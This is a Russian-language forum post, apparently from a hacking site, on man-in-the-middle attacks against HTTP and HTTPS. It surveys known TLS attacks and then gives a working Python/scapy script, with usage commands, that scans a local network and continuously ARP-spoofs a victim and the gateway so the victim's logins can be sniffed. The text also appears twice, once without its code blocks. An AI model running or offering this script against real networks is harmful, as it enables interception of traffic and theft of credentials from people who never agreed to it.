Доброго времени суток !
Немного ARP -a :
Итак, что там с https и МИТМ атакой в 2к21-ом? Как известно, классика - бессмертна. Фишинг, например, по моему скромному мнению и сведений из источников одна из самых популярных атак (или более подойдет слово - успешно применяемых) в любом масштабе взломов и тестирование на проникновение. Человеческий фактор никто не отменял. И кто же еще в сети настолько беззащитен, как Галина Степановна (бухгалтер кстати), которая случайно не закрыла файл с пассами директорских акков на рабочем столе?
Например, протокол ARP ( обнови ARP-кэш плис, это я, роутер ) который работает на L2 уровне модели OSI и вот как ( информативно ) об уязвимости ARP протокола написано в ВИКИ:
Вкратце мы представляемся роутеру жертвой, а жертве роутером, они обновляют кэш в своих arp-tables и мы становимся человеком посередине для этих устройств.
Собственно, эта уязвимость далеко (давно) не новость и многие прекрасно знают ее и умеют успешно эксплуатировать.
Далее мы подключаем сниффер (я юзаю Wireshark) и захватываем трафик жертв.
Основные методы запросов в HTTP:
Итак, немного разберем трафик гипертекстовых сообщений.
HTTP — протокол прикладного уровня передачи данных, поддерживает несколько методов запросов. Два основных - это GET (параметры запроса передадутся в URI) и POST.
GET - мы запрашиваем ресурс у сервера, если мы передаем какие-то условия, они передадутся в строке запроса URI.
POST - предназначен для запроса, при котором сервер принимает данные для хранения или проверки ( например авторизация ).
Допустим у нас есть такая форма на странице:
Мы авторизуемся как Галина666 с паролем qwerty1234
В HTTP данные улетают в строке JSON в виде пар ключ-значение:
Конечно это все в упрощенной форме, без куки – сессий, токенов и др. механизмов.
Так мы спокойно перехватываем данные и имеем доступ к сервису с правами Галины666, как минимум. Но что же делать, когда HTTP работает поверх SSL?
Разбор полетов с HTTPS:
В случае с HTTPS все данные, которыми клиент-приложение обменивается с серверным, шифруются с помощью протокола SSL. И тут надо притормозить. Алгоритм работы SSL достаточно обширный, он использует как ассимметричное так и симметричное шифрование и включает в работу нового игрока - сертификат.
SSL использует сертификаты для проверки принадлежности открытого ключа его реальному владельцу. Шифрование с открытым ключом ( RSA ) для взаимной аутентификации клиента и сервера, а также для выработки сессионного ключа, который, в свою очередь, используется более быстрыми алгоритмами симметричной криптографии ( AES, DES, RC ) для шифрования большого объёма данных.
Результатом такой работы будет полностью зашифрованные данные внутри протокола http.
И вот задача - как получить полезную нагрузку:
Допустим вы скажете, что можно расшифровать HTTPS трафик. И будете правы. Расшифровка HTTPS в Wireshark подробно описана в интернете. Это делается за счет установки переменной среды SSLKEYLOGFILE в файл.log После этого все секретные ключи SSL сессий браузер будет записывать в этот файл и скормив такой файл снифферу, мы можем расшифровать наш HTTPS.
Но, это возможно сделать только для нашего пк и для нашего браузера. Ибо наши ключи - расшифруют только наши пакеты (как неожиданно).
Какие есть атаки на HTTPS ?
На данный момент я нашел информацию о POODLE, BEAST, DROWN, HeartBleed, Bycycle и атака подмены сертификата. Обо всех видах есть достаточно информативная статья на Хабре.
Здесь подытожу:
POODLE и BEAST атаки связаны с CBC шифрованием в SSL и им подвержены устаревшие версии протокола.
DROWN - кросс-протокольная атака, использующая ошибки в реализации SSLv2 с 40-битными ключами RSA. Злоумышленник прослушивает сотни TLS-подключений цели и отправляет специальные пакеты на сервер с SSLv2, использующий такой же приватный ключ.
Как видим также устаревший протокол SSLv2.
HeartBleed реализуется через небольшой модуль Heartbeat расширения TLS. Связана со спецификой непрерывной передачи данных в протоколе.
Пожалуй интересно, и в тему статьи, будет рассмотреть Bicycle атаку, которая является больше теоретической нежели применима на практике. Доклад опубликовал Гвидо Вранкен ( исследователь ) и вот что об этом я нашел на Хакере:
То есть внимание !!! Атака позволяет узнать лишь длину пароля, и то с помощью вычислений, и то если у тебя есть длина логина и остальная информация из протокола ! Длина пароля - действительно хорошее подспорье для брута, если он не 32+ символа.
Наконец, подмена сертификата, пожалуй самое интересное в нашем случае. Задействуем МИТМ и подменяем пакеты, вот только необходимо заставить жертву подтвердить наш (поддельный) сертификат. Надо подумать над хорошей реализацией этой атаки, с помощью своих или сторонних хакерских инструментов.
Пакет sslstrip в kali, насколько знаю, позволяет, находясь по середине, использовать незащищенный протокол.
Немного кода :
Скрипт - сканер локальной сети и сниффер. Если в кали - такие инструменты встроены, то для винды мб будет полезно.
Ключ для сканирования подсети :
Ключ для MITM атаки -t атакуемая цель -g шлюз по умолчанию :
И незабываем включить форвардинг на сетевой карте.
В винде это HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\
параметр IPEnableRouter = 1. Спуфинг идет в цикле, пакеты постоянно отправляются, иначе arp таблицы обновятся девайсами на правильные ( после первых запросов )
Можно сканировать сеть, добавлять айпишники в массив буфера и запускать сниффер в потоках для каждого адреса, таким образом можем снифить всю локаль ( но не проверял и зависит от размера сети и тд. имхо может просто отвалиться сетевуха или роутер )
Итоги ?
HTTPS круто защищен и полноценная атака в лоб на сам протокол при условии обновленных библиотек, отключении поддержки старых версий протокола и соблюдения стандартов и политик безопасности - по моему скромному мнению, практически неосуществима. Но, с другой стороны - если провести аналогию, хакер может быть квартирным вором, который не будет ломится в дверь и подбирать отмычки для супер сложного замка, а определит квартиру и найдет открытую форточку, сканируя все окна. Думаю по аналогии понятно, что я имею в виду.
Используя МИТМ например, можно обойти защиту протокола и украсть данные, подойдя совершенно с другой стороны.
Будьте внимательны и помните : Лучшая защита - это нападение )
В целом - хотелось поделиться мыслями и освежить немного теории
Спасибо за внимание !
Немного ARP -a :
Итак, что там с https и МИТМ атакой в 2к21-ом? Как известно, классика - бессмертна. Фишинг, например, по моему скромному мнению и сведений из источников одна из самых популярных атак (или более подойдет слово - успешно применяемых) в любом масштабе взломов и тестирование на проникновение. Человеческий фактор никто не отменял. И кто же еще в сети настолько беззащитен, как Галина Степановна (бухгалтер кстати), которая случайно не закрыла файл с пассами директорских акков на рабочем столе?
Например, протокол ARP ( обнови ARP-кэш плис, это я, роутер ) который работает на L2 уровне модели OSI и вот как ( информативно ) об уязвимости ARP протокола написано в ВИКИ:
Вкратце мы представляемся роутеру жертвой, а жертве роутером, они обновляют кэш в своих arp-tables и мы становимся человеком посередине для этих устройств.
Собственно, эта уязвимость далеко (давно) не новость и многие прекрасно знают ее и умеют успешно эксплуатировать.
Далее мы подключаем сниффер (я юзаю Wireshark) и захватываем трафик жертв.
Основные методы запросов в HTTP:
Итак, немного разберем трафик гипертекстовых сообщений.
HTTP — протокол прикладного уровня передачи данных, поддерживает несколько методов запросов. Два основных - это GET (параметры запроса передадутся в URI) и POST.
GET - мы запрашиваем ресурс у сервера, если мы передаем какие-то условия, они передадутся в строке запроса URI.
POST - предназначен для запроса, при котором сервер принимает данные для хранения или проверки ( например авторизация ).
Допустим у нас есть такая форма на странице:
HTML:
<form>
<input name="username">Логин</input>
<input name="password">Пароль</input>
<button>Авторизация</button>
</form>Мы авторизуемся как Галина666 с паролем qwerty1234
В HTTP данные улетают в строке JSON в виде пар ключ-значение:
Код:
{
username: Галина666,
password: qwerty1234
}Конечно это все в упрощенной форме, без куки – сессий, токенов и др. механизмов.
Так мы спокойно перехватываем данные и имеем доступ к сервису с правами Галины666, как минимум. Но что же делать, когда HTTP работает поверх SSL?
Разбор полетов с HTTPS:
В случае с HTTPS все данные, которыми клиент-приложение обменивается с серверным, шифруются с помощью протокола SSL. И тут надо притормозить. Алгоритм работы SSL достаточно обширный, он использует как ассимметричное так и симметричное шифрование и включает в работу нового игрока - сертификат.
SSL использует сертификаты для проверки принадлежности открытого ключа его реальному владельцу. Шифрование с открытым ключом ( RSA ) для взаимной аутентификации клиента и сервера, а также для выработки сессионного ключа, который, в свою очередь, используется более быстрыми алгоритмами симметричной криптографии ( AES, DES, RC ) для шифрования большого объёма данных.
Результатом такой работы будет полностью зашифрованные данные внутри протокола http.
И вот задача - как получить полезную нагрузку:
Допустим вы скажете, что можно расшифровать HTTPS трафик. И будете правы. Расшифровка HTTPS в Wireshark подробно описана в интернете. Это делается за счет установки переменной среды SSLKEYLOGFILE в файл.log После этого все секретные ключи SSL сессий браузер будет записывать в этот файл и скормив такой файл снифферу, мы можем расшифровать наш HTTPS.
Но, это возможно сделать только для нашего пк и для нашего браузера. Ибо наши ключи - расшифруют только наши пакеты (как неожиданно).
Какие есть атаки на HTTPS ?
На данный момент я нашел информацию о POODLE, BEAST, DROWN, HeartBleed, Bycycle и атака подмены сертификата. Обо всех видах есть достаточно информативная статья на Хабре.
Здесь подытожу:
POODLE и BEAST атаки связаны с CBC шифрованием в SSL и им подвержены устаревшие версии протокола.
DROWN - кросс-протокольная атака, использующая ошибки в реализации SSLv2 с 40-битными ключами RSA. Злоумышленник прослушивает сотни TLS-подключений цели и отправляет специальные пакеты на сервер с SSLv2, использующий такой же приватный ключ.
Как видим также устаревший протокол SSLv2.
HeartBleed реализуется через небольшой модуль Heartbeat расширения TLS. Связана со спецификой непрерывной передачи данных в протоколе.
Пожалуй интересно, и в тему статьи, будет рассмотреть Bicycle атаку, которая является больше теоретической нежели применима на практике. Доклад опубликовал Гвидо Вранкен ( исследователь ) и вот что об этом я нашел на Хакере:
То есть внимание !!! Атака позволяет узнать лишь длину пароля, и то с помощью вычислений, и то если у тебя есть длина логина и остальная информация из протокола ! Длина пароля - действительно хорошее подспорье для брута, если он не 32+ символа.
Наконец, подмена сертификата, пожалуй самое интересное в нашем случае. Задействуем МИТМ и подменяем пакеты, вот только необходимо заставить жертву подтвердить наш (поддельный) сертификат. Надо подумать над хорошей реализацией этой атаки, с помощью своих или сторонних хакерских инструментов.
Пакет sslstrip в kali, насколько знаю, позволяет, находясь по середине, использовать незащищенный протокол.
Немного кода :
Скрипт - сканер локальной сети и сниффер. Если в кали - такие инструменты встроены, то для винды мб будет полезно.
Python:
from optparse import OptionParser
from scapy.all import *
def local_scan(ip):
ip_gw = conf.route.route("0.0.0.0")[2]
#print(ip_gw + ' #### ip_gateway #### ')
apr_requests = ARP(pdst=ip)
broadcast = Ether(dst='ff:ff:ff:ff:ff:ff')
arp_pack = broadcast / apr_requests
answered_list = srp(arp_pack, timeout=5, verbose=False)[0]
for element in answered_list:
print(element[1].psrc + ' >>> ip_addr' + ' ' + '####',
element[1].hwsrc + ' >>> mac_addr')
def get_mac(target_ip):
#print(target_ip)
arp_request = ARP(pdst=target_ip)
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = srp(arp_request_broadcast, timeout=5, verbose=False)[0]
#print(answered_list)
return answered_list[0][1].hwsrc
def arp_spoof(ip_gw, ip_spoof):
send_packet_count = 0
mac_gw = get_mac(ip_gw)
mac_spoof = get_mac(ip_spoof)
packet_1 = ARP(op=2, pdst=ip_gw, hwdst=mac_gw, psrc=ip_spoof)
packet_2 = ARP(op=2, pdst=ip_spoof, hwdst=mac_spoof, psrc=ip_gw)
try:
while True:
send_packet_count += 2
send(packet_1, verbose=False)
send(packet_2, verbose=False)
print('\r### was_send ' + str(send_packet_count) + ' arp_packet ###', end="")
time.sleep(1)
except KeyboardInterrupt:
print('# Keyboard_Interrupt #')
restore_spoof(ip_gw, ip_spoof)
def restore_spoof(ip_gw, ip_spoof):
mac_gw = get_mac(ip_gw)
mac_spoof = get_mac(ip_spoof)
packet_1 = ARP(op=2, pdst=ip_gw, hwdst=mac_gw, psrc=ip_spoof, hwsrc=mac_spoof)
packet_2 = ARP(op=2, pdst=ip_spoof, hwdst=mac_spoof, psrc=ip_gw, hwsrc=mac_gw)
scapy.send(packet_1, count=4, verbose=False)
scapy.send(packet_2, count=4, verbose=False)
def main():
parser = OptionParser("Usage: targetIP start_Port end_port ") # Вывод справочной информации
parser.add_option("-n", '--network',type="string", dest="nwIP",help="scanning local network") # сеть
parser.add_option("-t", '--target',type="string", dest="tgIP",help="spoofing target")
parser.add_option("-g", '--gatewa',type="string", dest="gwIP",help="spoofing gateway")
options,args = parser.parse_args() # создание экземпляра параметров, введенных пользователем
# получаем аргументы
network = options.nwIP
target = options.tgIP
gateway = options.gwIP
if network:
local_scan(network)
if target and gateway:
arp_spoof(target, gateway)
if __name__ == "__main__":
main()Ключ для сканирования подсети :
Код:
python file_name.py -n 192.168.1.0/24Ключ для MITM атаки -t атакуемая цель -g шлюз по умолчанию :
Код:
python file_name.py -t 192.168.1.100 -g 192.168.1.1И незабываем включить форвардинг на сетевой карте.
В винде это HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\
параметр IPEnableRouter = 1. Спуфинг идет в цикле, пакеты постоянно отправляются, иначе arp таблицы обновятся девайсами на правильные ( после первых запросов )
Можно сканировать сеть, добавлять айпишники в массив буфера и запускать сниффер в потоках для каждого адреса, таким образом можем снифить всю локаль ( но не проверял и зависит от размера сети и тд. имхо может просто отвалиться сетевуха или роутер )
Итоги ?
HTTPS круто защищен и полноценная атака в лоб на сам протокол при условии обновленных библиотек, отключении поддержки старых версий протокола и соблюдения стандартов и политик безопасности - по моему скромному мнению, практически неосуществима. Но, с другой стороны - если провести аналогию, хакер может быть квартирным вором, который не будет ломится в дверь и подбирать отмычки для супер сложного замка, а определит квартиру и найдет открытую форточку, сканируя все окна. Думаю по аналогии понятно, что я имею в виду.
Используя МИТМ например, можно обойти защиту протокола и украсть данные, подойдя совершенно с другой стороны.
Будьте внимательны и помните : Лучшая защита - это нападение )
В целом - хотелось поделиться мыслями и освежить немного теории
Спасибо за внимание !
Последнее редактирование:
